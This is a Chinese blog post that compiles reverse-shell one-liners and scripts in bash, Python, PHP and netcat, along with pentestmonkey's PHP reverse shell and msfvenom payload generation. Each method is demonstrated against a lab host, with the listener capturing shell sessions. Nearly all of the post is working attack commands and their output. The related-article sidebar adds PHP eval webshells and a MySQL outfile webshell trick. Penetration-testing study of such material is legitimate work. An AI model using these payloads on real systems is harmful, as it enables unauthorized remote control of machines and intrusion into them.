常用一句话反弹shell总结

最新推荐文章于 2021-08-11 14:34:58 发布
最新推荐文章于 2021-08-11 14:34:58 发布
阅读量1.3k 收藏 8
点赞数
分类专栏： 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45116657/article/details/102621162
版权

友情链接：https://blog.csdn.net/qq_38684504/article/details/90047213#3.%20python%E8%84%9A%E6%9C%AC%E5%8F%8D%E5%BC%B9shell

1. bash直接反弹

1.1> bash直接反弹

nc -nvlp 8080

1.2> 在目标主机上写入bash反弹一句话

bash -i >& /dev/tcp/192.168.37.131/8080 0>&1

  • bash -i：产生一个bash的交互环境；

  • &：将联合符号前面的内容与后面的内容相结合然后一起重定向给后者；

  • /dev/tcp/192.168.37.131/8080：与目标主机192.168.37.131/8080端口建立一个TCP连接；
  • 0>&1：将标准输入与标准输出相结合，重定向到前面标准输出内容；
1.3> 查看监听机上是否监听到shell；
root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$

2. python一句话反弹shell

2.1> 直接在Kali上监听1234端口；
    root@root:/var/www/html# nc -nvlp 1234
    listening on [any] 1234 ...
2.2> 在靶机上执行如下命令；
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.3> 在Kali上查看监听到的1234端口,获取反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami
whoami
tom
sh-4.1$

3. python脚本反弹shell

3.1> 在Kali的web访问目录下准备shell.py；并执行python -m SimpleHTTPServer 80，搭建简易Web服务（注：web服务在/var/www/html目录下开启，当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start）；
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py   #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start     #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
3.2> 将python shell脚本下载到目标靶机系统；(一般下载到/tmp目录下)；
[tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58--  http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：218 [text/x-python]
正在保存至: “shell.py.1”
 
100%[======================================>] 218         --.-K/s   in 0s      
 
2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1” [218/218])
3.3> 下载成功后，在Kali上开启监听端口1234；并在靶机上运行python脚本 ；

在kali上开启监听端口1234：

root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...

在靶机上执行下载的python脚本文件：

[tom@redhat tmp]$ python shell.py
3.4>查看Kali上监听的端口1234，获取靶机的反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35053
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$ ifconfig
ifconfig
eth1      Link encap:Ethernet  HWaddr 00:0C:29:EF:E0:1D  
          inet addr:192.168.37.143  Bcast:192.168.37.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2605 errors:0 dropped:0 overruns:0 frame:0
          TX packets:286 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:186570 (182.1 KiB)  TX bytes:24850 (24.2 KiB)

4. php一句话反弹shell

4.1> 直接在Kali上监听1234端口；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
4.2> 在靶机上执行如下命令；
[tom@redhat tmp]$ php -r '$sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
4.3> 在Kali上查看监听到的1234端口，获取反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35064
sh-4.1$ whoami
whoami
tom
sh-4.1$
4.4> 将反弹shell转换为交互式shell；
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[tom@redhat tmp]$ whoami 
whoami
tom
[tom@redhat tmp]$

5. php脚本反弹shell

5.1> 在KALI中添加shell.php；并开启Apache服务；
  • shell.php的内容如下：
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
  • 开启Apache服务命令；

命令：/etc/init.d/apache2 start

  • 具体的执行过程如下：
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.php
root@root:/var/www/html# cat shell.php    #php脚本
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
root@root:/var/www/html# /etc/init.d/apache2 start   #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@root:/var/www/html#
5.2> 向靶机上上传shell.php脚本；
[tom@redhat tmp]$ wget http://192.168.37.131/shell.php
--2019-05-20 14:21:56--  http://192.168.37.131/shell.php
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：80 [text/plain]
正在保存至: “shell.php”
 
100%[======================================>] 80          --.-K/s   in 0s      
 
2019-05-20 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])
5.3> 下载成功后，在Kali上开启监听端口1234；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
5.4> 在靶机上运行下载的php脚本；
[tom@redhat tmp]$ php shell.php
5.5> 查看Kali上监听的端口1234，获取靶机的反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1      Link encap:Ethernet  HWaddr 00:0C:29:EF:E0:1D  
          inet addr:192.168.37.143  Bcast:192.168.37.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
          TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:204505 (199.7 KiB)  TX bytes:32844 (32.0 KiB)

6. 使用nc命令获取靶机的反弹shell；

6.1> 在靶机上输入如下命令；
[tom@redhat tmp]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
6.2> 在Kali上监听1234端口；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35067
sh-4.1$ whoami
whoami
tom
sh-4.1$

7. 使用Kali自带的脚本文件获取反弹shell

7.1> 查看Kali上的php-reverse-shell.php，另存为并修改监听的IP地址；
  • 在kali上查看php-reverse-shell.php文件；
root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp  aspx  cfm  jsp  perl  php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c        php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php  php-reverse-shell.php   simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
......
  • 将php-reverse-shell.php文件另存到/var/www/html后，修改监听的IP地址为目标机的P地址；
root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html   a.js             index.html               shell.elf
1.php    decode.py        index.nginx-debian.html  shell.php
2.html   dirty.c          php-reverse-shell.php    shell.py
37292.c  dirtycow-master  shell.c                  shell.txt
root@root:/var/www/html# vim php-reverse-shell.php 
root@root:/var/www/html# cat php-reverse-shell.php   #修改监听的IP地址
......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131';  // CHANGE THIS      #修改IP地址
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
7.2> 将文件上传到靶机上；并监听1234端口，执行文件，获取反弹shell；

8. 使用msfvenom 获取一句话反弹shell

当我们不记得前面说的所有反弹shell的反弹语句时，只要我们有Metasploit，就可以生成我们所需要的各类命令行一句话，具体使用方法如下：

8.1> 查询 payload 具体路径

我们直接可以使用 msfvenom -l 结合关键字过滤（如cmd/unix/reverse），找出我们需要的各类反弹一句话payload的路径信息。

root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"
    cmd/unix/reverse                                    Creates an interactive shell through two inbound connections
    cmd/unix/reverse_awk                                Creates an interactive shell via GNU AWK
    cmd/unix/reverse_bash                               Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
    cmd/unix/reverse_bash_telnet_ssl                    Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
    cmd/unix/reverse_lua                                Creates an interactive shell via Lua
    cmd/unix/reverse_ncat_ssl                           Creates an interactive shell via ncat, utilizing ssl mode
    cmd/unix/reverse_netcat                             Creates an interactive shell via netcat
    cmd/unix/reverse_netcat_gaping                      Creates an interactive shell via netcat
    cmd/unix/reverse_nodejs                             Continually listen for a connection and spawn a command shell via nodejs
    cmd/unix/reverse_openssl                            Creates an interactive shell through two inbound connections
    cmd/unix/reverse_perl                               Creates an interactive shell via perl
    cmd/unix/reverse_perl_ssl                           Creates an interactive shell via perl, uses SSL
    cmd/unix/reverse_php_ssl                            Creates an interactive shell via php, uses SSL
    cmd/unix/reverse_python                             Connect back and create a command shell via Python
    cmd/unix/reverse_python_ssl                         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
    cmd/unix/reverse_r                                  Connect back and create a command shell via R
    cmd/unix/reverse_ruby                               Connect back and create a command shell via Ruby
    cmd/unix/reverse_ruby_ssl                           Connect back and create a command shell via Ruby, uses SSL
    cmd/unix/reverse_socat_udp                          Creates an interactive shell via socat
    cmd/unix/reverse_ssl_double_telnet                  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
    cmd/unix/reverse_stub                               Creates an interactive shell through an inbound connection (stub only, no payload)
    cmd/unix/reverse_zsh                                Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
8.2> 生成我们所需要的一句话反弹shell；
msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R      #bash反弹一句话

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R    #nc反弹一句话

msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R  #python反弹一句话
8.3> 在Kali上监听端口，在靶机上执行生成的一句话shell；即可获取目标的反弹shell；

msfvenom具体使用，可以参考参考这个微博：
https://blog.csdn.net/whatday/article/details/82904623

weixin_45116657
关注
专栏目录
内网渗透-常用反弹shell方法总结
lza20001103的博客
08-28 4764
常用反弹shell方法总结 文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹shell常见脚本反弹1.python2.phppowercat反弹shellmsf反弹shell 前言 bash反弹shell bash -i >&/dev/tcp/1.1.1.1/9999 0&gt
反弹shell原理与实现
悦分享
08-02 3432
反弹shell（reverse shell），就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。...
常用的一句话反弹shell总结
热门推荐
橘子女侠
05-20 1万+
目录 常用的一句话反弹shell总结 1. bash直接反弹 2. python一句话反弹shell 3. python脚本反弹shell 4. php一句话反弹shell 5. php脚本反弹shell 6. 使用nc命令获取靶机的反弹shell； 7. 使用Kali自带的脚本文件获取反弹shell 8. 使用msfvenom 获取一句话反弹shell 常用的一句话反弹she...
一句话反弹shell
Jim的博客
08-21 4572
1.Bash: •bash–i >&/dev/tcp/10.0.0.1/80800>&1  //bash –i打开一个交互的bash, /dev/tcp建立一个socket连接, >&将标准错误输出重定向到标准输出中，0>&1将标准输入重定向到标准输出中。 •Linuxshell文件描述符： •1.标准输入：代码为0，使用 •2.标准输出：代码为1，使用>或>>; •3.标准错误输出：
反弹shell--bash一句话解析
小刚的博客
01-10 3318
作者：小刚 一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢 本实验仅用于信息防御教学，切勿用于其它用途 反弹shell解析bash反弹shell解析拆分语句了解一下交互式连接设备文件描述符合并输入输出大合并 bash反弹shell解析 最基础的反弹shell语句，这么久只会用，但不知道其中的奇妙之处 真是妙蛙种子被踢出了米奇妙妙屋。。。 bash -i >& /dev/tcp/192.168.1.1/8888 0>&1 拆分语句了解一下 交互式 bash -i是打开一个.
Linuxtone命令一句话(定期更新)
weixin_34242658的博客
06-25 245
来源:[url]http://bbs.linuxtone.org/thread-16-1-1.html[/url]作者:NetSeek 1.删除0字节文件 find -type f -size 0 -exec rm -rf {} \; 2.查看进程 按内存从大到小排列 ps -e-o "%C: %p : %z : %a"|sort -k5 -nr ...
反弹shell一句话
最新发布
08-31
- *1* [常用的一句话反弹shell总结](https://blog.csdn.net/qq_38684504/article/details/90047213)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_...
经验分享 | 常用linux反弹shell合集
Uguardsec的博客
01-25 987
一、前言 当我们拿到一台LINUX主机的权限时，往往都需要反弹到公网的服务器上，一般我们使用bash来反弹的情况居多，但是bash也有失灵的时候。在这种情况下，我们可以尝试使用其他的反弹语句 来达到我们的目的。 二、反弹方法 攻击机:192.168.3.43 靶机:192.168.1.21 、192.168.249.12 1. Bash反弹 1.1 方法一 攻击者主机上执行监听： nc -lvvp port 目标主机上执行： bash -i >& /dev/tcp/x.x.x.x/port 0
linux各种一句话反弹shell总结
weixin_34250709的博客
10-17 297
1nc开启本地监听发布bash服务 1#nc-lvvp12345-t-e/bin/bash 2常用反弹shell一句话 （1）bash反弹一句话 1#bash-i>&/dev/tcp/192.168.1.123/123450>&1 （2）nc反弹一句话 1#nc1...
webshell一句话
08-26
php,jsp,asp等脚本的常用一句话拿webshell，然后用菜刀连接即可
php一句话webshell 服务端和客户端
05-11
php一句话webshell 服务端和客户端，一句话为 <?php $_GET[2]($_GET[0]($_GET[1]));?> 支持函数system,passthru,shell_exec 可以执行操作系统任意命令，windows linux unix 等。 zhaoxypass@yahoo.com.cn,欢迎下载使用，本软件为免费版。
各种语言一句话反弹shell
weixin_33947521的博客
12-30 168
转自：http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shellBash [不通用，跟linux发行版本有关，在ubuntu上测试成功]bash-i>&/dev/tcp/10.0.0...
Linux中一句话反弹Shell细说
一杯咖啡的渗透记忆
08-11 499
简介 我们在渗透测试的过程中经常会遇到linux主机环境，而在获取linux主机shell是我们经常需要做的是工作内容之一，其中经常会遇到以下几个场景。 一、场景一 我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端，此时我们首先想到的是开启一个shell监听，这种场景比较简单，我们直接使用使用nc即可开启，如果没有nc我们也可以很轻松的直接下载安装一个，具体开启监听的命令如下。 1.1 安装netcat 这里需要注意一点默认的各个linux发行版本已经自带了ne
常用一句话shell命令行
sun172270102的博客
07-09 720
1、一句话while循环 while :; do echo `data`;sleep 0.5;done 2、输出毫秒级时间 date +%Y-%m-%d ' '%H:%M:%S.%N | cut -b 1-23 3、awk命令解析shell输出 awk '{print $1,$2}' 4、排除特定目录或文件 ls | grep -v "filea \| fileb" 5、shell字符串分割 cat xxx | awk -F "-" '{print $2}' 6、xargs传参 把前序
一句话shell【php】
weixin_30497527的博客
03-31 642
1.mysql执行语句拿shell Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>'); select cmd from a into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\test.php'; ...
【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端，受害者主机（无公网IP）主动连接攻击者的服务端程序（CC server），开启一个shell交互，就叫反弹shell。...
djph26741的博客
07-09 1131
反弹shell背景： 想要搞清楚这个问题，首先要搞清楚什么是反弹，为什么要反弹。假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。 那么什么情况下正向连接不太好用了呢？1.某客户机中了你的网马，但是它在局域网内，你...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值